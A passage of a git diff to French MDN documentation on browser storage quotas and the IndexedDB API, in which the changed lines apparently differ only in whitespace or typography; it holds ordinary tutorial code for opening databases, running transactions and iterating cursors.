_(manager de quotas)_ (voir ci-dessous). -- `<profile>/storage/permanent` — répertoire de stockage des données persistantes. +- `<profile>/storage/permanent` — répertoire de stockage des données persistantes. - `<profile>/storage/temporary` — répertoire de stockage des données temporaires. - `<profile>/storage/default` — répertoire de stockage des données par défaut. @@ -66,11 +66,11 @@ Chaque type de stockage représente un référentiel distinct, voici la cartogra ## Limites de stockage -L'espace de stockage maximal du navigateur est dynamique — il est basé sur la taille de votre disque dur. La limite globale est calculée sur la base de 50% de l'espace disque libre. Dans Firefox, un outil interne du navigateur appelé " Quota Manager " _(gestionnaire de quotas)_ surveille la quantité d'espace disque utilisée par chaque origine et supprime les données si nécessaire. +L'espace de stockage maximal du navigateur est dynamique — il est basé sur la taille de votre disque dur. La limite globale est calculée sur la base de 50% de l'espace disque libre. Dans Firefox, un outil interne du navigateur appelé " Quota Manager " _(gestionnaire de quotas)_ surveille la quantité d'espace disque utilisée par chaque origine et supprime les données si nécessaire. Donc, si votre disque dur est de 500 Go, le stockage total d'un navigateur est de 250 Go. S'il est dépassé, une procédure appelée **"origin eviction"** _(éviction d'origine)_ entre en jeu, en supprimant la valeur totale de l'origine jusqu'à ramener le niveau de stockage en-dessous de la limite. La suppression d'une base de données d'origine peut entraîner des problèmes d'incohérence. -Il y a aussi une autre limite appelée **group limit** — ceci est défini comme 20% de la limite globale. Chaque origine fait partie d'un groupe (groupe d'origines). Il existe un groupe pour chaque domaine eTLD + 1. +Il y a aussi une autre limite appelée **group limit** — ceci est défini comme 20% de la limite globale. Chaque origine fait partie d'un groupe (groupe d'origines). Il existe un groupe pour chaque domaine eTLD + 1. Par exemple : @@ -86,7 +86,7 @@ Les deux limites reagissent différemment quand la limite est atteinte : - La limite de groupe est également appelée «limite dure»: elle ne déclenche pas l'éviction d'origine. - La limite globale est une «limite douce» car il est possible que certains espaces soient libérés et que l'opération puisse se poursuivre. -> **Note :** Si la limite de groupe est dépassée, ou si l'éviction d'origine ne crée pas assez d'espace libre, le navigateur lance `QuotaExceededError`. +> **Note :** Si la limite de groupe est dépassée, ou si l'éviction d'origine ne crée pas assez d'espace libre, le navigateur lance `QuotaExceededError`. ## Politique LRU diff --git a/files/fr/web/api/indexeddb_api/index.md b/files/fr/web/api/indexeddb_api/index.md index 3a800fd428..3500a8e86a 100644 --- a/files/fr/web/api/indexeddb_api/index.md +++ b/files/fr/web/api/indexeddb_api/index.md @@ -12,7 +12,7 @@ original_slug: Web/API/API_IndexedDB --- {{DefaultAPISidebar("IndexedDB")}} -IndexedDB est une API de bas niveau qui permet le stockage côté client de quantités importantes de données structurées, incluant des fichiers/blobs. Cette API utilise des index afin de permettre des recherches performantes sur ces données. Alors que [Web Storage](/fr/docs/Web/API/Web_Storage_API) est utile pour stocker de petites quantités de données, il est moins utile pour stocker de grandes quantités de données structurées. IndexedDB fournit une solution. Cette page est le point d'entrée pour tout ce qui concerne IndexedDB sur MDN - vous y trouverez les liens vers la référence complète de l'API et les guides d'utilisation, le support par les navigateurs, et quelques explications des concepts clés. +IndexedDB est une API de bas niveau qui permet le stockage côté client de quantités importantes de données structurées, incluant des fichiers/blobs. Cette API utilise des index afin de permettre des recherches performantes sur ces données. Alors que [Web Storage](/fr/docs/Web/API/Web_Storage_API) est utile pour stocker de petites quantités de données, il est moins utile pour stocker de grandes quantités de données structurées. IndexedDB fournit une solution. Cette page est le point d'entrée pour tout ce qui concerne IndexedDB sur MDN - vous y trouverez les liens vers la référence complète de l'API et les guides d'utilisation, le support par les navigateurs, et quelques explications des concepts clés. {{AvailableInWorkers}} @@ -23,8 +23,8 @@ IndexedDB est une API de bas niveau qui permet le stockage côté client de quan IndexedDB est un système de gestion de base de données transactionnel, similaire à un SGBD relationnel basé sur SQL. Cependant contrairement aux SGBD relationnels, qui utilisent des tables avec des colonnes fixes, IndexedDB est une base de données orientée objet basée sur JavaScript. IndexedDB vous permet de stocker et de récupérer des objets qui sont indexés avec une **clef**; tout objet supporté par [l'algorithme de clônage structuré](/fr/docs/Web/API/Web_Workers_API/algorithme_clonage_structure) peut être stocké. Vous devez spécifier le schéma de la base de données, ouvrir une connexion à votre base de données, puis récupérer et mettre à jour des données dans une série de **transactions**. - Plus d'informations sur les [concepts derrière IndexedDB](/fr/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB). -- Apprenez à utiliser IndexedDB de manière asynchrone à partir des principes fondamentaux grâce à notre guide [Utiliser IndexedDB](/fr/docs/IndexedDB/Using_IndexedDB). -- Combinez IndexedDB pour le stockage des données en mode déconnecté avec les Service Workers pour stocker des assets en mode déconnecté, comme précisé dans [Faire fonctionner les PWAs en mode déconnecté grâce aux Service workers](/fr/docs/Web/Progressive_web_apps/Offline_Service_workers). +- Apprenez à utiliser IndexedDB de manière asynchrone à partir des principes fondamentaux grâce à notre guide [Utiliser IndexedDB](/fr/docs/IndexedDB/Using_IndexedDB). +- Combinez IndexedDB pour le stockage des données en mode déconnecté avec les Service Workers pour stocker des assets en mode déconnecté, comme précisé dans [Faire fonctionner les PWAs en mode déconnecté grâce aux Service workers](/fr/docs/Web/Progressive_web_apps/Offline_Service_workers). > **Note :** Comme la plupart des solutions de stockage en ligne, IndexedDB suit la politique [same-origin policy](http://www.w3.org/Security/wiki/Same_Origin_Policy). Alors même que vous pouvez accèder à des données stockées au sein d'un domaine, vous ne pouvez pas accéder à des données sur plusieurs domaines. @@ -38,7 +38,7 @@ Il y a un certain nombre de technologies web pour stocker différents types de d ## Interfaces -Pour accèder à une base de données, il faut apeller [`open()`](/fr/docs/Web/API/IDBFactory.open) sur l'attribut [`indexedDB`](/fr/docs/Web/API/IDBEnvironment.indexedDB) d'un objet [window](/fr/docs/DOM/window). Cette méthode retourne un objet {{domxref("IDBRequest")}}; Les opérations asynchrones communiquent avec l'application appelante en déclenchant des évènements sur les objets {{domxref("IDBRequest")}}. +Pour accèder à une base de données, il faut apeller [`open()`](/fr/docs/Web/API/IDBFactory.open) sur l'attribut [`indexedDB`](/fr/docs/Web/API/IDBEnvironment.indexedDB) d'un objet [window](/fr/docs/DOM/window). Cette méthode retourne un objet {{domxref("IDBRequest")}}; Les opérations asynchrones communiquent avec l'application appelante en déclenchant des évènements sur les objets {{domxref("IDBRequest")}}. ### Se connecter à la base de données @@ -75,30 +75,30 @@ Pour accèder à une base de données, il faut apeller [`open()`](/fr/docs/Web/A Cette spécification provoque des évènements avec les interfaces personnalisées suivantes: - {{domxref("IDBVersionChangeEvent")}} - - : `L'interface IDBVersionChangeEvent` indique que la version de la base de données à changé, résultat de la fonction de saisie d'un évènement {{domxref("IDBOpenDBRequest.onupgradeneeded")}}. + - : `L'interface IDBVersionChangeEvent` indique que la version de la base de données à changé, résultat de la fonction de saisie d'un évènement {{domxref("IDBOpenDBRequest.onupgradeneeded")}}. ### Interfaces obsolètes Une précedente version des spécifications a défini ces interfaces, désormais supprimées. Elles sont toujours documentées dans le cas où vous avez besoin de mettre à jour du code déja écrit : - {{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}} - - : Représente une requête de changement de version de la base de données. Le moyen pour changer de version de la base de données a désormais changé (avec un appel de {{domxref("IDBFactory.open")}} sans aussi appeler {{domxref("IDBDatabase.setVersion")}}), et l'interface {{domxref("IDBOpenDBRequest")}} a désormais la fonction de l'ancienne (supprimée) {{domxref("IDBVersionChangeRequest")}}. -- {{domxref("IDBDatabaseException")}} {{obsolete_inline}} + - : Représente une requête de changement de version de la base de données. Le moyen pour changer de version de la base de données a désormais changé (avec un appel de {{domxref("IDBFactory.open")}} sans aussi appeler {{domxref("IDBDatabase.setVersion")}}), et l'interface {{domxref("IDBOpenDBRequest")}} a désormais la fonction de l'ancienne (supprimée) {{domxref("IDBVersionChangeRequest")}}. +- {{domxref("IDBDatabaseException")}} {{obsolete_inline}} - : Représente une exception (erreur) qui peut survenir durant les opérations sur la base de données. - {{domxref("IDBTransactionSync")}} {{obsolete_inline}} - : Version synchrone de {{domxref("IDBTransaction")}}. - {{domxref("IDBObjectStoreSync")}} {{obsolete_inline}} - : Version synchrone de {{domxref("IDBObjectStore")}}. - {{domxref("IDBIndexSync")}} {{obsolete_inline}} - - : Version synchrone de {{domxref("IDBIndex")}}. + - : Version synchrone de {{domxref("IDBIndex")}}. - {{domxref("IDBFactorySync")}} {{obsolete_inline}} - : Version synchrone de {{domxref("IDBFactory")}}. - {{domxref("IDBEnvironmentSync")}} {{obsolete_inline}} - - : Version synchrone de {{domxref("IDBEnvironment")}}. + - : Version synchrone de {{domxref("IDBEnvironment")}}. - {{domxref("IDBDatabaseSync")}} {{obsolete_inline}} - - : Version synchrone de {{domxref("IDBDatabase")}}. + - : Version synchrone de {{domxref("IDBDatabase")}}. - {{domxref("IDBCursorSync")}} {{obsolete_inline}} - - : Version synchrone de {{domxref("IDBCursor")}}. + - : Version synchrone de {{domxref("IDBCursor")}}. ## Exemples diff --git a/files/fr/web/api/indexeddb_api/using_indexeddb/index.md b/files/fr/web/api/indexeddb_api/using_indexeddb/index.md index c7f9494867..a99042f762 100644 --- a/files/fr/web/api/indexeddb_api/using_indexeddb/index.md +++ b/files/fr/web/api/indexeddb_api/using_indexeddb/index.md @@ -68,9 +68,9 @@ var request = window.indexedDB.open("MyTestDatabase", 3); Vous avez vu ? Ouvrir une base de données est comme n'importe quelle autre opération — vous avez juste à le "demander". -La requête "open" n'ouvre pas la base de données ni ne démarre une transaction aussitôt. L'appel de la fonction `open()` retourne un objet [`IDBOpenDBRequest`](/en-US/docs/IndexedDB/IDBOpenDBRequest) avec un résultat (success) ou une valeur d'erreur qui permet de la gérer comme un évènement. La plupart des autres fonctions asynchrones dans IndexedDB fonctionnent de la même façon ; Elles retournent un objet [`IDBRequest`](/en-US/docs/IndexedDB/IDBRequest) avec le résultat ou une erreur. Le résultat de la fonction "open" est une instance de [`IDBDatabase`](/en-US/docs/IndexedDB/IDBDatabase). +La requête "open" n'ouvre pas la base de données ni ne démarre une transaction aussitôt. L'appel de la fonction `open()` retourne un objet [`IDBOpenDBRequest`](/en-US/docs/IndexedDB/IDBOpenDBRequest) avec un résultat (success) ou une valeur d'erreur qui permet de la gérer comme un évènement. La plupart des autres fonctions asynchrones dans IndexedDB fonctionnent de la même façon ; Elles retournent un objet [`IDBRequest`](/en-US/docs/IndexedDB/IDBRequest) avec le résultat ou une erreur. Le résultat de la fonction "open" est une instance de [`IDBDatabase`](/en-US/docs/IndexedDB/IDBDatabase). -Le second paramètre de la méthode open est la version de la base de données. La version de la base détermine le schéma de celle-ci — Les objets stockés dans la base de données et leur structure. Si la base de données n'existe pas déjà, elle est créée via l'opération `open()`, puis, un événement `onupgradeneeded` est déclenché et vous créez le schéma de la base dans le gestionnaire pour cet événement. Si la base de données existe, mais que vous spécifiez un numéro de version plus élevé, un événement `onupgradeneeded` est déclenché immédiatement, vous permettant de mettre à jour le schéma dans son gestionnaire – plus d'informations dans [Updating the version of the database](#Updating_the_version_of_the_database) plus bas et la page référence {{ domxref("IDBFactory.open") }}. +Le second paramètre de la méthode open est la version de la base de données. La version de la base détermine le schéma de celle-ci — Les objets stockés dans la base de données et leur structure. Si la base de données n'existe pas déjà, elle est créée via l'opération `open()`, puis, un événement `onupgradeneeded` est déclenché et vous créez le schéma de la base dans le gestionnaire pour cet événement. Si la base de données existe, mais que vous spécifiez un numéro de version plus élevé, un événement `onupgradeneeded` est déclenché immédiatement, vous permettant de mettre à jour le schéma dans son gestionnaire – plus d'informations dans [Updating the version of the database](#Updating_the_version_of_the_database) plus bas et la page référence {{ domxref("IDBFactory.open") }}. > **Attention :** Le numéro de version est un nombre "`unsigned long long`" ce qui signifie qu'il peut s'agir d'un entier très grand. Cela veut également dire que vous ne pouvez pas utiliser de réél, sinon, il sera converti au nombre entier le plus proche (inférieur) et la transaction peut ne pas démarrer ou ne pas déclencher l'événement `upgradeneeded`. Par exemple, n'utilisez pas 2.4 comme un numéro de version : > `var request = indexedDB.open("MyTestDatabase", 2.4); // Ne faites pas ça, même si la version sera arrondie à 2` @@ -109,7 +109,7 @@ request.onsuccess = function(event) { #### Gérer les erreurs -Comme mentionné ci-dessus, les évènements d’erreur génèrent des info-bulles. Ils sont rattachés à la requête qui a généré l’erreur, puis la bulle de l'évènement est transmis à la transaction, et enfin à l'objet de la base de données. Si vous souhaitez éviter d'ajouter un gestionnaire d'erreurs à chaque requête, vous pouvez en ajouter un unique à l'objet de la base de donnée, de cette manière : +Comme mentionné ci-dessus, les évènements d’erreur génèrent des info-bulles. Ils sont rattachés à la requête qui a généré l’erreur, puis la bulle de l'évènement est transmis à la transaction, et enfin à l'objet de la base de données. Si vous souhaitez éviter d'ajouter un gestionnaire d'erreurs à chaque requête, vous pouvez en ajouter un unique à l'objet de la base de donnée, de cette manière : ```js db.onerror = function(event) { @@ -134,7 +134,7 @@ request.onupgradeneeded = function(event) { }; ``` -Dans ce cas, la base de données disposera aussitôt des objets de stockage de la version précédente de la base, donc vous n’aurez pas à créer de nouveau ces objets de stockage. Vous aurez seulement besoin de créer de nouveaux objets de stockage, ou d'en supprimer de la version précédente si vous n'en avez plus besoin. Si vous avez besoin de changer un objet de stockage existant (par exemple, pour changer la `keyPath`), alors vous devez supprimer l’ancien objet de stockage et le créer à nouveau avec les nouveaux paramètres. Notez que ceci supprimera les informations dans l'objet de stockage ! Si vous avez besoin de sauvegarder ces informations, vous devez les lire et les sauvegarder quelque part avant de mettre à jour la base de données. +Dans ce cas, la base de données disposera aussitôt des objets de stockage de la version précédente de la base, donc vous n’aurez pas à créer de nouveau ces objets de stockage. Vous aurez seulement besoin de créer de nouveaux objets de stockage, ou d'en supprimer de la version précédente si vous n'en avez plus besoin. Si vous avez besoin de changer un objet de stockage existant (par exemple, pour changer la `keyPath`), alors vous devez supprimer l’ancien objet de stockage et le créer à nouveau avec les nouveaux paramètres. Notez que ceci supprimera les informations dans l'objet de stockage ! Si vous avez besoin de sauvegarder ces informations, vous devez les lire et les sauvegarder quelque part avant de mettre à jour la base de données. Essayer de créer un objet de stockage avec un nom déjà existant (ou essayer de supprimer un objet de stockage avec un nom qui n'existe pas encore) renverra une erreur. @@ -144,7 +144,7 @@ Blink/Webkit supporte la version courante de la spécification, telle que livré ### Structurer la base de données -Maintenant, structurons la base de données. IndexedDB utilise des objets de stockage plutôt que des tableaux, et une seule base de données peut contenir un nombre quelconque d'objets de stockage. Chaque fois qu'une valeur est stockée dans un objet de stockage, elle est associée à une clé. Il y a différentes manières pour une clé d'être définie, selon que l'objet de stockage utilise un [key path](/en/IndexedDB#gloss_key_path) _(chemin de clé)_ ou un [key generator](/en/IndexedDB#gloss_key_generator) _(générateur de clé)_. +Maintenant, structurons la base de données. IndexedDB utilise des objets de stockage plutôt que des tableaux, et une seule base de données peut contenir un nombre quelconque d'objets de stockage. Chaque fois qu'une valeur est stockée dans un objet de stockage, elle est associée à une clé. Il y a différentes manières pour une clé d'être définie, selon que l'objet de stockage utilise un [key path](/en/IndexedDB#gloss_key_path) _(chemin de clé)_ ou un [key generator](/en/IndexedDB#gloss_key_generator) _(générateur de clé)_. Le tableau suivant montre les différentes manières d'attribuer des clés. @@ -152,7 +152,7 @@ Le tableau suivant montre les différentes manières d'attribuer des clés. | ------------------------------------ | --------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Non | Non | L'objet de stockage peut contenir n'importe quel type de valeur, même des valeurs primitives comme des nombres ou des chaînes de caractères. Vous devez fournir un argument clé séparé chaque fois que vous souhaitez ajouter une nouvelle valeur. | | Oui | Non | L'objet de stockage peut contenir des objets JavaScript. Les objets doivent avoir une propriété qui a le même nom que le key path. | -| Non | Oui | L'objet de stockage peut contenir n'importe quel type de valeur. La clé est générée pour vous automatiquement, ou vous pouvez fournir un argument clé séparé si vous voulez utiliser une clé spécifique. | +| Non | Oui | L'objet de stockage peut contenir n'importe quel type de valeur. La clé est générée pour vous automatiquement, ou vous pouvez fournir un argument clé séparé si vous voulez utiliser une clé spécifique. | | Oui | Oui | L'objet de stockage peut contenir des objets JavaScript. Normalement, une clé est générée, et sa valeur est stockée dans l'objet dans une propriété avec le même nom que le key path. Cependant, si une telle propriété existe, sa valeur est utilisée en tant que clé, plutôt que la génération d'une nouvelle clé. | Vous pouvez aussi créer des index sur un objet de stockage, à condition que l'objet de stockage contienne des objets, et non des primitives. Un index vous permet de consulter les valeurs stockées dans un objet de stockage en utilisant la valeur d'une propriété de l'objet stocké, plutôt que la clé de l'objet. @@ -252,11 +252,11 @@ Pour plus de détails sur le générateur de clés, voyez ["W3C Key Generators"] Avant de faire quoi que ce soit avec votre nouvelle base de données, vous aurez besoin de démarrer une transaction. Les transactions viennent de l'objet base de données, et vous devez spécifier sur quel objet vous souhaitez faire pointer la transaction. Une fois dans la transaction, vous pouvez accéder à l'objet de stockage qui contient vos données et faire vos requêtes. Puis, vous devez décider si vous allez appliquer des changements à la base de données, ou si vous avez juste besoin de la lire. Les transactions disposent de trois modes disponibles: `readonly` _(lecture seule)_, `readwrite` _(lecture/écriture)_, et `versionchange` _(changement de version)_. -Pour changer le "schéma" ou la structure de la base de données — qui implique de créer ou supprimer des objets de stockage ou des index — la transaction doit être en mode `versionchange`. Cette transaction est ouverte en appelant la méthode {{domxref("IDBFactory.open")}} avec une `version` spécifiée. (Dans les navigateurs WebKit, qui n'ont pas implémenté la dernière spécification, la méthode {{domxref("IDBFactory.open")}} prend seulement un paramètre, le `nom` de la base de données ; Vous devez donc appeler {{domxref("IDBVersionChangeRequest.setVersion")}} pour établir la transaction `versionchange`.) +Pour changer le "schéma" ou la structure de la base de données — qui implique de créer ou supprimer des objets de stockage ou des index — la transaction doit être en mode `versionchange`. Cette transaction est ouverte en appelant la méthode {{domxref("IDBFactory.open")}} avec une `version` spécifiée. (Dans les navigateurs WebKit, qui n'ont pas implémenté la dernière spécification, la méthode {{domxref("IDBFactory.open")}} prend seulement un paramètre, le `nom` de la base de données ; Vous devez donc appeler {{domxref("IDBVersionChangeRequest.setVersion")}} pour établir la transaction `versionchange`.) Pour lire les enregistrements d'un objet de stockage existant, la transaction peut être en mode `readonly`ou `readwrite`. Pour appliquer des changements à un objet de stockage existant, la transaction doit être en mode `readwrite`. Vous démarrez ces transactions avec {{domxref("IDBDatabase.transaction")}}. La méthode accepte deux paramètres : les `storeNames` (la portée, définie comme un tableau des objets de stockage auxquels vous souhaitez accéder) et le `mode` (`readonly` ou `readwrite`) pour la transaction. La méthode retourne un objet de transaction contenant la méthode {{domxref("IDBIndex.objectStore")}}, que vous utilisez pour accéder à votre objet de stockage. Par défaut, lorsqu'aucun mode n'est spécifié, les transactions démarrent en mode `readonly`. -> **Note :** À partir de Firefox 40, les transactions IndexedDB ont des garanties de durabilité relachées afin d'augmenter les performances (voir {{Bug("1112702")}}.) Auparavant, lors d'une transaction `readwrite` {{domxref("IDBTransaction.oncomplete")}} était déclenché seulement lorsque les données étaient garanties pour une écriture sur le disque. Dans Firefox 40+ l'évènement `complete` est déclenché une fois que l'OS a autorisé l'écriture de données, mais potentiellement avant que les données soient réellement écrites sur le disque. L'évènement `complete` peut ainsi être livré plus vite qu'avant, cependant, il existe un petit risque que l'ensemble de la transaction soit perdu si l'OS s'effondre ou si un problème électrique survient avant que les données soient écrites. Comme de tels évènements catastrophiques sont rares, la plupart des utilisateurs n'ont pas à s'en soucier. Si vous devez vous assurer de la durabilité pour quelconque raison que ce soit (par exemple, vous stockez des données critiques qui ne peuvent être recalculées plus tard) vous pouvez forcer une transaction à écrire sur le disque avant que l'évènement `complete` ne soit délivré en créant une transaction utilisant un mode expérimental (non-standard) `readwriteflush` (se référer à {{domxref("IDBDatabase.transaction")}}. +> **Note :** À partir de Firefox 40, les transactions IndexedDB ont des garanties de durabilité relachées afin d'augmenter les performances (voir {{Bug("1112702")}}.) Auparavant, lors d'une transaction `readwrite` {{domxref("IDBTransaction.oncomplete")}} était déclenché seulement lorsque les données étaient garanties pour une écriture sur le disque. Dans Firefox 40+ l'évènement `complete` est déclenché une fois que l'OS a autorisé l'écriture de données, mais potentiellement avant que les données soient réellement écrites sur le disque. L'évènement `complete` peut ainsi être livré plus vite qu'avant, cependant, il existe un petit risque que l'ensemble de la transaction soit perdu si l'OS s'effondre ou si un problème électrique survient avant que les données soient écrites. Comme de tels évènements catastrophiques sont rares, la plupart des utilisateurs n'ont pas à s'en soucier. Si vous devez vous assurer de la durabilité pour quelconque raison que ce soit (par exemple, vous stockez des données critiques qui ne peuvent être recalculées plus tard) vous pouvez forcer une transaction à écrire sur le disque avant que l'évènement `complete` ne soit délivré en créant une transaction utilisant un mode expérimental (non-standard) `readwriteflush` (se référer à {{domxref("IDBDatabase.transaction")}}. Vous pouvez accélérer l'accès à vos données en utilisant le bon mode et la bonne portée dans la transaction. Voici deux astuces : @@ -343,7 +343,7 @@ db.transaction("customers").objectStore("customers").get("444-44-4444").onsucces Vous voyez comment ça fonctionne ? Comme il n'y a qu'un seul objet de stockage, vous pouvez éviter de passer une liste d'objets dont vous avez besoin dans votre transaction, et juste passer le nom comme une chaîne de caractères. Aussi, nous faisons seulement une lecture de la base, donc nous n'avons pas besoin d'une transaction `"readwrite"`. Appeler une `transaction()` sans spécifier de mode nous donne une transaction `"readonly"`. Une autre subtilité ici est que nous n'enregistrons pas l'objet de notre requête dans une variable. Comme l’évènement DOM a la requête comme cible, vous pouvez utiliser l'évènement pour récupérer la propriété `result`. -Vous pouvez accélérer l’accès à vos données en limitant la portée et le mode de la transaction. Voici deux astuces : +Vous pouvez accélérer l’accès à vos données en limitant la portée et le mode de la transaction. Voici deux astuces : - Lors de la définition de la [scope](/fr/docs/IndexedDB/Using_IndexedDB$edit#scope) _(portée)_, spécifiez seulement l’objet de stockage dont vous avez besoin. De cette manière, vous pouvez avoir de multiples opérations simultanées sans qu’elles se chevauchent. - Spécifier une transaction en mode readwrite uniquement lorsque c’est nécessaire. Vous pouvez avoir de multiples opérations simultanées en lecture seule, mais vous ne pouvez avoir qu’une transaction "readwrite" _(lecture/écriture)_ sur un objet de stockage. Pour en savoir plus, voir la définition relative aux [transactions in the Basic Concepts article](/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_transaction). @@ -399,7 +399,7 @@ objectStore.openCursor().onsuccess = function(event) { }; ``` -La fonction `openCursor()` prend en compte plusieurs arguments. En premier, vous pouvez spécifier une plage de résultats à récupérer en utilisant un objet "key range" que nous allons voir dans une minute. En deuxième, vous pouvez spécifier la direction vers laquelle vous souhaitez itérer. Dans l’exemple ci-dessus, nous avons itéré tous les objets dans l’ordre ascendant. Le "callback" _(rappel)_ de réussite pour les curseurs est un peu spécial. L'objet cursor lui-même est le `result` _(résutat)_ de la requête (au-dessus, nous utilisons le raccourci `event.target.result`). Puis la clé et valeur courante peuvent être trouvées dans les propriétés `key`*(clé)* et `value` _(valeur)_ de l’objet cursor. Si vous souhaitez continuer, vous devez appeler `continue()` sur le curseur. Lorsque vous avez atteint la fin des données (ou s’il n’y a plus d’entrées qui correspondent à votre requête `openCursor()` ) , vous aurez toujours votre callback success, mais la propriété `result` sera `undefined`. +La fonction `openCursor()` prend en compte plusieurs arguments. En premier, vous pouvez spécifier une plage de résultats à récupérer en utilisant un objet "key range" que nous allons voir dans une minute. En deuxième, vous pouvez spécifier la direction vers laquelle vous souhaitez itérer. Dans l’exemple ci-dessus, nous avons itéré tous les objets dans l’ordre ascendant. Le "callback" _(rappel)_ de réussite pour les curseurs est un peu spécial. L'objet cursor lui-même est le `result` _(résutat)_ de la requête (au-dessus, nous utilisons le raccourci `event.target.result`). Puis la clé et valeur courante peuvent être trouvées dans les propriétés `key`*(clé)* et `value` _(valeur)_ de l’objet cursor. Si vous souhaitez continuer, vous devez appeler `continue()` sur le curseur. Lorsque vous avez atteint la fin des données (ou s’il n’y a plus d’entrées qui correspondent à votre requête `openCursor()` ) , vous aurez toujours votre callback success, mais la propriété `result` sera `undefined`. Une utilisation classique avec les curseurs est de récupérer tous les objets dans un objet de stockage et de les mettre dans un tableau, comme ceci : @@ -418,7 +418,7 @@ objectStore.openCursor().onsuccess = function(event) { }; ``` -> **Note :** Mozilla a aussi implémenté `getAll()` pour gérer ce cas (et `getAllKeys()`, qui est actuellement caché derrière la préférence `dom.indexedDB.experimental` dans about:config) . ceux-ci ne font pas partie d' IndexedDB standard, et peuvent disparaître dans le futur. Nous les avons inclus partceque nous pensons qu'ils sont utiles. Le code suivant fait exactement la même chose que ci-dessus : +> **Note :** Mozilla a aussi implémenté `getAll()` pour gérer ce cas (et `getAllKeys()`, qui est actuellement caché derrière la préférence `dom.indexedDB.experimental` dans about:config) . ceux-ci ne font pas partie d' IndexedDB standard, et peuvent disparaître dans le futur. Nous les avons inclus partceque nous pensons qu'ils sont utiles. Le code suivant fait exactement la même chose que ci-dessus : > > ```js > objectStore.getAll().onsuccess = function(event) { @@ -444,7 +444,7 @@ index.get("Donna").onsuccess = function(event) { }; ``` -Le "name" du curseur n'est pas unique, donc il pourrait y avoir plus d'une entrée avec le `name` attribué à `"Donna"`. Dans ce cas, vous obtenez toujours celui qui a la valeur clé la plus basse . +Le "name" du curseur n'est pas unique, donc il pourrait y avoir plus d'une entrée avec le `name` attribué à `"Donna"`. Dans ce cas, vous obtenez toujours celui qui a la valeur clé la plus basse . Si vous avez besoin d'accèder à toutes les entrées avec un `name` donné, vous pouvez utiliser un curseur. Vous pouvez ouvrir deux types différents de curseurs sur les index. Un curseur normal situe la propriété index de l'objet dans l'objet de stockage. Un curseur de clés situe la propriété index des clés utilisées pour stocker l'objet dans l'objet de stockage. Les différences sont illustrées ici : @@ -541,7 +541,7 @@ Voyez "[IDBCursor Constants](/en-US/docs/Web/API/IDBCursor?redirectlocale=en-US& ## La version change alors qu'une application Web est ouverte dans un autre onglet -Lorsque votre application Web change de telle sorte qu'une modification de version est nécessaire pour votre base de données, vous devez considérer ce qui se passe si l'utilisateur a l'ancienne version de votre application ouverte dans un onglet, puis charge la nouvelle version de votre application dans une autre . Lorsque vous appelez `open()` avec une version plus grande que la version actuelle de la base de données, toutes les autres bases de données ouvertes doivent reconnaître explicitement la demande avant de commencer à modifier la base de données (un événement `onblocked` _(bloqué)_ est déclenché jusqu'à ce qu'elles soient fermées ou rechargées). Voici comment cela fonctionne : +Lorsque votre application Web change de telle sorte qu'une modification de version est nécessaire pour votre base de données, vous devez considérer ce qui se passe si l'utilisateur a l'ancienne version de votre application ouverte dans un onglet, puis charge la nouvelle version de votre application dans une autre . Lorsque vous appelez `open()` avec une version plus grande que la version actuelle de la base de données, toutes les autres bases de données ouvertes doivent reconnaître explicitement la demande avant de commencer à modifier la base de données (un événement `onblocked` _(bloqué)_ est déclenché jusqu'à ce qu'elles soient fermées ou rechargées). Voici comment cela fonctionne : ```js var openReq = mozIndexedDB.open("MyTestDatabase", 2); @@ -592,7 +592,7 @@ Lorsque le navigateur s'arrête (parce que l'utilisateur a choisi l'option Quit 1. Chaque transaction sur chaque base de données affectée (ou toutes les bases de données ouvertes, dans le cas de l'arrêt du navigateur) est interrompue avec un `AbortError`. L'effet est le même que si {{domxref("IDBTransaction.abort()")}} est appelé sur chaque transaction. 2. Une fois toutes les transactions terminées, la connexion à la base de données est fermée . -3. Enfin, l'objet {{domxref("IDBDatabase")}} représentant la connexion à la base de données reçoit un évènement {{event("close")}} . Vous pouvez utiliser un gestionnaire d'évènements {{domxref("IDBDatabase.onclose")}} pour écouter ces évènements, afin de savoir quand une base de données est fermée de façon inattendue . +3. Enfin, l'objet {{domxref("IDBDatabase")}} représentant la connexion à la base de données reçoit un évènement {{event("close")}} . Vous pouvez utiliser un gestionnaire d'évènements {{domxref("IDBDatabase.onclose")}} pour écouter ces évènements, afin de savoir quand une base de données est fermée de façon inattendue . Le comportement décrit ci-dessus est nouveau et n'est disponible que pour les versions de navigateur suivantes : Firefox 50, Google Chrome 31 (approximativement). @@ -600,7 +600,7 @@ Avant ces versions de navigateurs, les transactions étaient interrompues silenc Étant donné que l'utilisateur peut quitter le navigateur à tout moment, cela signifie que vous ne pouvez pas compter sur une transaction particulière à compléter, et sur les navigateurs plus anciens, vous n'êtes même pas informé quand elles ne sont pas terminées. Il y a plusieurs conséquences à ce comportement. -Tout d'abord, vous devez vous occuper de toujours laisser votre base de données dans un état cohérent à la fin de chaque transaction. Par exemple, supposons que vous utilisiez IndexedDB pour stocker une liste d'éléments que l'utilisateur est autorisé à éditer. Vous enregistrez la liste après l'édition en effaçant l'objet de stockage puis en écrivant la nouvelle liste. Si vous effacez l'objet de stockage dans une transaction et que vous écrivez la nouvelle liste dans une autre transaction, il existe un danger : si le navigateur se ferme après l'effacement mais avant l'écriture, votre base de données est vide. Pour éviter cela, vous devez combiner l'effacement et l'écriture en une seule transaction. +Tout d'abord, vous devez vous occuper de toujours laisser votre base de données dans un état cohérent à la fin de chaque transaction. Par exemple, supposons que vous utilisiez IndexedDB pour stocker une liste d'éléments que l'utilisateur est autorisé à éditer. Vous enregistrez la liste après l'édition en effaçant l'objet de stockage puis en écrivant la nouvelle liste. Si vous effacez l'objet de stockage dans une transaction et que vous écrivez la nouvelle liste dans une autre transaction, il existe un danger : si le navigateur se ferme après l'effacement mais avant l'écriture, votre base de données est vide. Pour éviter cela, vous devez combiner l'effacement et l'écriture en une seule transaction. Ensuite, vous ne devez jamais lier les transactions de base de données pour les événements unload _(déchargement_). Si l'événement unload est déclenché par la fermeture du navigateur, toutes les transactions créées dans le gestionnaire d'événements unload ne seront jamais terminées. Une approche intuitive, pour le maintien de certaines informations dans les sessions du navigateur, est de le lire à partir de la base de données, lorsque le navigateur (ou une page particulière) est ouvert, le mettre à jour à mesure que l'utilisateur interagit avec le navigateur, puis l'enregistrer dans la base de données lorsque le navigateur ( 